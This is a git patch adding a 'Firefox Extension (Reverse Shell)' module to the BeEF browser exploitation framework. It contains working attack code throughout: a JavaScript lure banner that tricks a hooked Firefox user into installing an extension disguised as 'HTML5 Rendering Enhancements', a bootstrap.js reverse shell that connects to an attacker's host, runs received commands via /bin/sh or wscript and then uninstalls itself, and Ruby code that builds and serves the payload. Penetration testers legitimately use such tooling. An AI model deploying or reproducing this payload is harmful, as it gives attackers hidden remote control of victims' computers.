From 563296f67b295c8fa7c536856c1d42a78f44d6fc Mon Sep 17 00:00:00 2001 From: bcoles Date: Mon, 27 Jan 2014 08:30:37 +1030 Subject: [PATCH] Add malicious FF extension (reverse shell) module --- .../command.js | 38 ++++ .../config.yaml | 16 ++ .../extension/HTML5_Enhancements.xpi | Bin 0 -> 3337 bytes .../extension/bootstrap.js | 181 ++++++++++++++++++ .../extension/build/readme.txt | 1 + .../extension/chrome.manifest | 2 + .../extension/install.rdf | 24 +++ .../extension/overlay.xul | 5 + .../firefox_extension_reverse_shell/module.rb | 90 +++++++++ 9 files changed, 357 insertions(+) create mode 100644 modules/exploits/local_host/firefox_extension_reverse_shell/command.js create mode 100644 modules/exploits/local_host/firefox_extension_reverse_shell/config.yaml create mode 100644 modules/exploits/local_host/firefox_extension_reverse_shell/extension/HTML5_Enhancements.xpi create mode 100644 modules/exploits/local_host/firefox_extension_reverse_shell/extension/bootstrap.js create mode 100644 modules/exploits/local_host/firefox_extension_reverse_shell/extension/build/readme.txt create mode 100644 modules/exploits/local_host/firefox_extension_reverse_shell/extension/chrome.manifest create mode 100644 modules/exploits/local_host/firefox_extension_reverse_shell/extension/install.rdf create mode 100644 modules/exploits/local_host/firefox_extension_reverse_shell/extension/overlay.xul create mode 100644 modules/exploits/local_host/firefox_extension_reverse_shell/module.rb diff --git a/modules/exploits/local_host/firefox_extension_reverse_shell/command.js b/modules/exploits/local_host/firefox_extension_reverse_shell/command.js new file mode 100644 index 000000000..61fe30df3 --- /dev/null +++ b/modules/exploits/local_host/firefox_extension_reverse_shell/command.js @@ -0,0 +1,38 @@ +// +// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +beef.execute(function() { + + var xpi_name = '<%= @xpi_name %>'; + var ff_extension = '/' + xpi_name + '.xpi'; + + if(beef.browser.isFF()){ + var id = beef.dom.generateID(); + var pid = beef.dom.generateID(); + var zztop = beef.dom.getHighestZindex()+1; + var el = beef.dom.createElement('div',{'id':id,'style':'width:100%; position:fixed; top:0px; left:0px; margin:0; padding:0px 20px 0px 20px; z-index:'+zztop+'; border-bottom:1px solid black; background:#fbe99a; display:none;'}); + var elr = beef.dom.createElement('div',{'style':'width: 8px; height: 8px; padding: 0; margin: 7px 50px 5px 0px; position: absolute; right: 0px; top: 0px; background-image: url(data:image/png;base64,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);'}) + var elp = beef.dom.createElement('div',{'id':pid,'style':'margin: 2px 50px 0 4px; height: 25px; line-height: 25px; font-family: sans-serif; font-size: 12px; padding-bottom: 5px'}); + $j('body').append(el); + var hid = '#'+id; + var hpid = '#'+pid; + $j(hid).append(elp); + $j(hpid).html("<%= @notification_text %> "); + $j(hid).append(elr); + $j(hid).click(function() { + $j(this).slideUp(300,function() { + $j(this).remove(); + }); + //window.location.href = ff_extension; + window.open(ff_extension); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=User has clicked the notification'); + }); + $j(hid).css('cursor','pointer'); + $j(hid).slideDown(300,function() { + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Notification has been displayed'); + }); + } +}); diff --git a/modules/exploits/local_host/firefox_extension_reverse_shell/config.yaml b/modules/exploits/local_host/firefox_extension_reverse_shell/config.yaml new file mode 100644 index 000000000..b48157dd1 --- /dev/null +++ b/modules/exploits/local_host/firefox_extension_reverse_shell/config.yaml @@ -0,0 +1,16 @@ +# +# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +beef: + module: + firefox_extension_reverse_shell: + enable: true + category: ["Exploits", "Local Host"] + name: "Firefox Extension (Reverse Shell)" + description: "Create on the fly a malicious Firefox extension that makes a reverse shell connection to a specified host:port.

The extension is based on the original work from Michael Schierl and his Metasploit module, and joev's Firefox payloads for Metasploit." + authors: ["antisnatchor", "bcoles"] + target: + user_notify: ["FF"] + not_working: ["All"] diff --git a/modules/exploits/local_host/firefox_extension_reverse_shell/extension/HTML5_Enhancements.xpi b/modules/exploits/local_host/firefox_extension_reverse_shell/extension/HTML5_Enhancements.xpi new file mode 100644 index 0000000000000000000000000000000000000000..416e8dc20322830c35a52a2892355f6b6947be32 GIT binary patch literal 3337 zcmZ`+c{CJm7anV5%NW@+gk&fCI(Ea@_k_gQjb#wVz9nSJR+h4d@Uu^rWT(b9_Rv@d zq3jWgPv`sN`_(z$dCzn1d){-ObMC#*`^R&Q^hiiS004jjF#JSbqx8GdgfkHU;7JVs)jLQ%<(&CjInrFOI>sduun3pFUIcrO4~POjB~?N4AOKZ zf@$Wy`buwF|NDi5;$L=Z@^ckkC?ZFAdFgo&=tsThQ<1fYc1pOw&FYsGz~qOmcvq$r z-TE#^-P^Pje56_Ml&=+mp6CXS(<`@#CdbWA_>!WfL@1*vVorgN!lifL`O{i3TQ{GE zqxbx_UY}2WA@K8>*z_k7-+m3Josu%Ciqa)WpwQKQa&#+{g&Kfm#rrzD{95#-Joo%m z`Ik6vE8||4XGMQK-`HCkvx&5eeipKd-;^3B2D!Sh6&1*@e=@ePoPfr#Xn_QrbcxT+U@n~7-pd0!F!XxF$ArzzA6!52Dx-=m*_4^Vc6z;2q=1jbXSO^2Jas)6}cm%&qA(O1IbJ=x;{ldxmyXwxWs0+^nZXtOWA7=#`Wnuw5@QyC&U1w1mKpv?M#n zK2Go{eeG@|CM{dX>RP@}*|g*j(LY^T7P{%?YC|x7noeScC|8ZWQUAsHh4#{`@9$di ztcNlWA7*pT5xE_mu{E(Az75Q=`Gx*ARKwYzf;nTTK-5bDj;`KPqWeYGY}a*#2|J^r8h0 zHyE~mY4x;2hTB%5lm^Ov-?Y-HtXdnV`Z05}^8s@?3J4FRN0k6?Rg9Sj66untiS}Xr zOz+$2gQY6490&6*N7X49R!D1>&q)HitR{NVt-9HVZ-yE78!236I`&vWGLec*PN#^{ zV0IatmU?ex!Gkf#{y?^BcG4>V-pPGD&QpH``7Gn+QM^Qh@p$r>W}?dmciZME0eX~) z(;jn56U@;s|7kLq1j#MIk&Qj?@{*k;%ORJQBcssn65*0IsxOI<xHw`ymYS=*i?nd)jp34|Hu!^#-Sceqqx## z>E-kqOA*oaEP@>_(L6>bB?$<&?Z{DrPwWgA4U}sVuW)Ks2zyb>9EwfsBDP3pkqt?uAsAz<+aAEgs?yB{b z8G5gLdA80B?O{x>csPD3nOQ5eL8Bww)A$6McXm>q61NFNh9p`>((V3 z^Dy8|+!aAh3`f64VzhFR*^4orz||Wl@nOO_!NzD8!HKMETUBrFD02eTp*_6=(pAH# zW!W`-UDKN6g+ya( zh`VQ1;+P;#0an>~rO%u^ zv;sSR*1g{T!}8+u1!h6vXUJ6BZuK|8ytB3~d-e z0or9)gr!TID<8@v9z_Ftiz$3iHXEejfPqnAB$>p|ROf z=EC0}T&bKqGBcEx5G_mZ^z2d*V6c#GNXvUqTcP1!;6kfiCc{QBGoLA@tgE5F~q3vUntSAVu9<{^G@RVMfko-yh;e zUD5|lwQ=tU(6--4Gmn9Db90k6+2urGcSVFGv5~^^q7}{sML@>) zM^pf$p-$7A_EKqa`&23HX(e!8HLFDKCsiE2hyLM#vpa}+6`BySudu}T5e{jq}wlo>1=<6A15Ee(O;aZRSP){ zdO1Ac#I+Ot!RVikjAoJ#y&fO@TkV`EKfP_Kb>+AHg)-)p6t)nRrw*c;=}uOJ6bek$ z*x8B9YK0SxzI>N^jvN&%>qN(WAXXd2!S_s~f@ux~teEUoK}T(TLvWg|7P6lNn%j&2sP<;PnPqgQ5$4#v}RI&%~bu8=(IYqV`Y zbss+-g@0E!x#*r!{I)RvHg7I$&ljfI?EA9`LU>s%MPHM_)oiSsv?E7*@77z~<5qCs z2PC4k@kiAlSu`R{)~blJ`N=3+4|78DXS19NnHCP0O%`2(?h=l!e%@Yi5ibXXn=>5g zuQxm*2ptk!s>F!hf$2$L#HJf1bqyx3>E+qDj8}hKYrua1Bv=LD literal 0 HcmV?d00001 diff --git a/modules/exploits/local_host/firefox_extension_reverse_shell/extension/bootstrap.js b/modules/exploits/local_host/firefox_extension_reverse_shell/extension/bootstrap.js new file mode 100644 index 000000000..b025e9d73 --- /dev/null +++ b/modules/exploits/local_host/firefox_extension_reverse_shell/extension/bootstrap.js @@ -0,0 +1,181 @@ + +function startup(data, reason) { + var file = Components.classes["@mozilla.org/file/directory_service;1"]. + getService(Components.interfaces.nsIProperties). + get("ProfD", Components.interfaces.nsIFile); + file.append("extensions"); + xpi_guid="{861fb387-92ce-bb0a-cb48-4b923dbc292b}"; + file.append(xpi_guid); + + // # ./msfpayload firefox/shell_reverse_tcp + (function(){ + Components.utils.import("resource://gre/modules/NetUtil.jsm"); + var host = '__reverse_shell_host_placeholder__'; + var port = __reverse_shell_port_placeholder__; + + var socketTransport = Components.classes["@mozilla.org/network/socket-transport-service;1"] + .getService(Components.interfaces.nsISocketTransportService); + var socket = socketTransport.createTransport(null, 0, host, port, null); + var outStream = socket.openOutputStream(0, 0, 0); + var inStream = socket.openInputStream(0, 0, 0); + + var pump = Components.classes["@mozilla.org/network/input-stream-pump;1"] + .createInstance(Components.interfaces.nsIInputStreamPump); + pump.init(inStream, -1, -1, 0, 0, true); + + var listener = { + onStartRequest: function(request, context) {}, + onStopRequest: function(request, context) {}, + onDataAvailable: function(request, context, stream, offset, count) { + var data = NetUtil.readInputStreamToString(stream, count).trim(); + runCmd(data, function(err, output) { + if (!err) outStream.write(output, output.length); + }); + } + }; + + var readFile = function(path) { + try { + var file = Components.classes["@mozilla.org/file/local;1"] + .createInstance(Components.interfaces.nsILocalFile); + file.initWithPath(path); + + var fileStream = Components.classes["@mozilla.org/network/file-input-stream;1"] + .createInstance(Components.interfaces.nsIFileInputStream); + fileStream.init(file, 1, 0, false); + + var binaryStream = Components.classes["@mozilla.org/binaryinputstream;1"] + .createInstance(Components.interfaces.nsIBinaryInputStream); + binaryStream.setInputStream(fileStream); + var array = binaryStream.readByteArray(fileStream.available()); + + binaryStream.close(); + fileStream.close(); + file.remove(true); + + return array.map(function(aItem) { return String.fromCharCode(aItem); }).join(""); + } catch (e) { return ""; } + }; + + + var setTimeout = function(cb, delay) { + var timer = Components.classes["@mozilla.org/timer;1"].createInstance(Components.interfaces.nsITimer); + timer.initWithCallback({notify:cb}, delay, Components.interfaces.nsITimer.TYPE_ONE_SHOT); + return timer; + }; + + + var ua = Components.classes["@mozilla.org/network/protocol;1?name=http"] + .getService(Components.interfaces.nsIHttpProtocolHandler).userAgent; + var windows = (ua.indexOf("Windows")>-1); + var svcs = Components.utils.import("resource://gre/modules/Services.jsm"); + var jscript = ({"src":"\n var b64 = WScript.arguments(0);\n var dom = new ActiveXObject(\"MSXML2.DOMDocument.3.0\");\n var el = dom.createElement(\"root\");\n el.dataType = \"bin.base64\"; el.text = b64; dom.appendChild(el);\n var stream = new ActiveXObject(\"ADODB.Stream\");\n stream.Type=1; stream.Open(); stream.Write(el.nodeTypedValue);\n stream.Position=0; stream.type=2; stream.CharSet = \"us-ascii\"; stream.Position=0;\n var cmd = stream.ReadText();\n (new ActiveXObject(\"WScript.Shell\")).Run(cmd, 0, true);\n "}).src; + var runCmd = function(cmd, cb) { + cb = cb || (function(){}); + + if (cmd.trim().length == 0) { + setTimeout(function(){ cb("Command is empty string ('')."); }); + return; + } + + var js = (/^\s*\[JAVASCRIPT\]([\s\S]*)\[\/JAVASCRIPT\]/g).exec(cmd.trim()); + if (js) { + var tag = "[!JAVASCRIPT]"; + var sync = true; // avoid zalgo's reach + var sent = false; + var retVal = null; + + try { + retVal = Function('send', js[1])(function(r){ + if (sent) return; + sent = true + if (r) { + if (sync) setTimeout(function(){ cb(false, r+tag+"\n"); }); + else cb(false, r+tag+"\n"); + } + }); + } catch (e) { retVal = e.message; } + + sync = false; + + if (retVal && !sent) { + sent = true; + setTimeout(function(){ cb(false, retVal+tag+"\n"); }); + } + + return; + } + + var shEsc = "\\$&"; + var shPath = "/bin/sh -c" + + if (windows) { + shPath = "cmd /c"; + shEsc = "\^$&"; + var jscriptFile = Components.classes["@mozilla.org/file/directory_service;1"] + .getService(Components.interfaces.nsIProperties) + .get("TmpD", Components.interfaces.nsIFile); + jscriptFile.append('7kZuA4kPoh2HzVagS.js'); + var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"] + .createInstance(Components.interfaces.nsIFileOutputStream); + stream.init(jscriptFile, 0x04 | 0x08 | 0x20, 0666, 0); + stream.write(jscript, jscript.length); + if (stream instanceof Components.interfaces.nsISafeOutputStream) { + stream.finish(); + } else { + stream.close(); + } + } + + var stdoutFile = "7tDzOIHbP3vzglqB"; + + var stdout = Components.classes["@mozilla.org/file/directory_service;1"] + .getService(Components.interfaces.nsIProperties) + .get("TmpD", Components.interfaces.nsIFile); + stdout.append(stdoutFile); + + if (windows) { + var shell = shPath+" "+cmd; + shell = shPath+" "+shell.replace(/\W/g, shEsc)+" >"+stdout.path+" 2>&1"; + var b64 = svcs.btoa(shell); + } else { + var shell = shPath+" "+cmd.replace(/\W/g, shEsc); + shell = shPath+" "+shell.replace(/\W/g, shEsc) + " >"+stdout.path+" 2>&1"; + } + var process = Components.classes["@mozilla.org/process/util;1"] + .createInstance(Components.interfaces.nsIProcess); + var sh = Components.classes["@mozilla.org/file/local;1"] + .createInstance(Components.interfaces.nsILocalFile); + + if (windows) { + sh.initWithPath("C:\\Windows\\System32\\wscript.exe"); + process.init(sh); + var args = [jscriptFile.path, b64]; + process.run(true, args, args.length); + jscriptFile.remove(true); + setTimeout(function(){cb(false, cmd+"\n"+readFile(stdout.path));}); + } else { + sh.initWithPath("/bin/sh"); + process.init(sh); + var args = ["-c", shell]; + process.run(true, args, args.length); + setTimeout(function(){cb(false, readFile(stdout.path));}); + } + }; + + + pump.asyncRead(listener, null); + })(); + + + + try { // Fx < 4.0 + Components.classes["@mozilla.org/extensions/manager;1"].getService(Components.interfaces.nsIExtensionManager).uninstallItem(xpi_guid); + } catch (e) {} + try { // Fx 4.0 and later + Components.utils.import("resource://gre/modules/AddonManager.jsm"); + AddonManager.getAddonByID(xpi_guid, function(addon) { + addon.uninstall(); + }); + } catch (e) {} + } diff --git a/modules/exploits/local_host/firefox_extension_reverse_shell/extension/build/readme.txt b/modules/exploits/local_host/firefox_extension_reverse_shell/extension/build/readme.txt new file mode 100644 index 000000000..9aa47d25d --- /dev/null +++ b/modules/exploits/local_host/firefox_extension_reverse_shell/extension/build/readme.txt @@ -0,0 +1 @@ +This is a temp directory where the Firefox extension will be built. \ No newline at end of file diff --git a/modules/exploits/local_host/firefox_extension_reverse_shell/extension/chrome.manifest b/modules/exploits/local_host/firefox_extension_reverse_shell/extension/chrome.manifest new file mode 100644 index 000000000..2864216f5 --- /dev/null +++ b/modules/exploits/local_host/firefox_extension_reverse_shell/extension/chrome.manifest @@ -0,0 +1,2 @@ +content {861fb387-92ce-bb0a-cb48-4b923dbc292b} ./ +overlay chrome://browser/content/browser.xul chrome://{861fb387-92ce-bb0a-cb48-4b923dbc292b}/content/overlay.xul diff --git a/modules/exploits/local_host/firefox_extension_reverse_shell/extension/install.rdf b/modules/exploits/local_host/firefox_extension_reverse_shell/extension/install.rdf new file mode 100644 index 000000000..0813095d0 --- /dev/null +++ b/modules/exploits/local_host/firefox_extension_reverse_shell/extension/install.rdf @@ -0,0 +1,24 @@ + + + + {861fb387-92ce-bb0a-cb48-4b923dbc292b} + __extension_name_placeholder__ + 1.0 + true + true + + + toolkit@mozilla.org + 1.0 + * + + + + + {ec8030f7-c20a-464f-9b0e-13a3a9e97384} + 1.0 + * + + + + \ No newline at end of file diff --git a/modules/exploits/local_host/firefox_extension_reverse_shell/extension/overlay.xul b/modules/exploits/local_host/firefox_extension_reverse_shell/extension/overlay.xul new file mode 100644 index 000000000..91ca363e4 --- /dev/null +++ b/modules/exploits/local_host/firefox_extension_reverse_shell/extension/overlay.xul @@ -0,0 +1,5 @@ + + + + \ No newline at end of file diff --git a/modules/exploits/local_host/firefox_extension_reverse_shell/module.rb b/modules/exploits/local_host/firefox_extension_reverse_shell/module.rb new file mode 100644 index 000000000..b66fc9e36 --- /dev/null +++ b/modules/exploits/local_host/firefox_extension_reverse_shell/module.rb @@ -0,0 +1,90 @@ +# +# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +class Firefox_extension_reverse_shell < BeEF::Core::Command + + class Bind_extension < BeEF::Core::Router::Router + before do + headers 'Content-Type' => 'application/x-xpinstall', + 'Pragma' => 'no-cache', + 'Cache-Control' => 'no-cache', + 'Expires' => '0' + end + + get '/' do + response['Content-Type'] = "application/x-xpinstall" + extension_path = settings.extension_path + print_info "Serving malicious Firefox Extension (Reverse Shell): #{extension_path}" + send_file "#{extension_path}", + :type => 'application/x-xpinstall', + :disposition => 'inline' + end + end + + def pre_send + + # gets the value configured in the module configuration by the user + @datastore.each do |input| + if input['name'] == "extension_name" + @extension_name = input['value'] + end + if input['name'] == "xpi_name" + @xpi_name = input['value'] + end + if input['name'] == "lport" + @lport = input['value'] + end + if input['name'] == "lhost" + @lhost = input['value'] + end + end + + mod_path = "#{$root_dir}/modules/exploits/local_host/firefox_extension_reverse_shell" + extension_path = mod_path + "/extension" + + # clean the build directory + FileUtils.rm_rf("#{extension_path}/build/.", secure: true) + + # copy in the build directory necessary file, substituting placeholders + File.open(extension_path + "/build/install.rdf", "w") {|file| file.puts File.read(extension_path + "/install.rdf").gsub!("__extension_name_placeholder__", @extension_name)} + File.open(extension_path + "/build/bootstrap.js", "w") {|file| file.puts File.read(extension_path + "/bootstrap.js").gsub!("__reverse_shell_port_placeholder__", @lport).gsub!("__reverse_shell_host_placeholder__", @lhost)} + File.open(extension_path + "/build/overlay.xul", "w") {|file| file.puts File.read(extension_path + "/overlay.xul")} + File.open(extension_path + "/build/chrome.manifest", "w") {|file| file.puts File.read(extension_path + "/chrome.manifest")} + + extension_content = ["install.rdf", "bootstrap.js", "overlay.xul", "chrome.manifest"] + + # create the XPI extension container + xpi = "#{extension_path}/#{@xpi_name}.xpi" + if File.exist?(xpi) + File.delete(xpi) + end + Zip::File.open(xpi, Zip::File::CREATE) do |xpi| + extension_content.each do |filename| + xpi.add(filename, "#{extension_path}/build/#{filename}") + end + end + + # mount the extension in the BeEF web server, calling a specific nested class (needed because we need a specific content-type/disposition) + bind_extension = Firefox_extension_reverse_shell::Bind_extension + bind_extension.set :extension_path, "#{$root_dir}/modules/exploits/local_host/firefox_extension_reverse_shell/extension/#{@xpi_name}.xpi" + BeEF::Core::Server.instance.mount("/#{@xpi_name}.xpi", bind_extension.new) + BeEF::Core::Server.instance.remap + end + + def self.options + @configuration = BeEF::Core::Configuration.instance + beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host") + return [ + {'name' => 'extension_name', 'ui_label' => 'Extension name', 'value' => 'HTML5 Rendering Enhancements'}, + {'name' => 'xpi_name', 'ui_label' => 'Extension file (XPI) name', 'value' => 'HTML5_Enhancements'}, + {'name' => 'lport', 'ui_label' => 'Local Port', 'value' => '1337'}, + {'name' => 'lhost', 'ui_label' => 'Local Host', 'value' => "#{beef_host}"} + ] + end + + def post_execute + save({'result' => @datastore['result']}) + end +end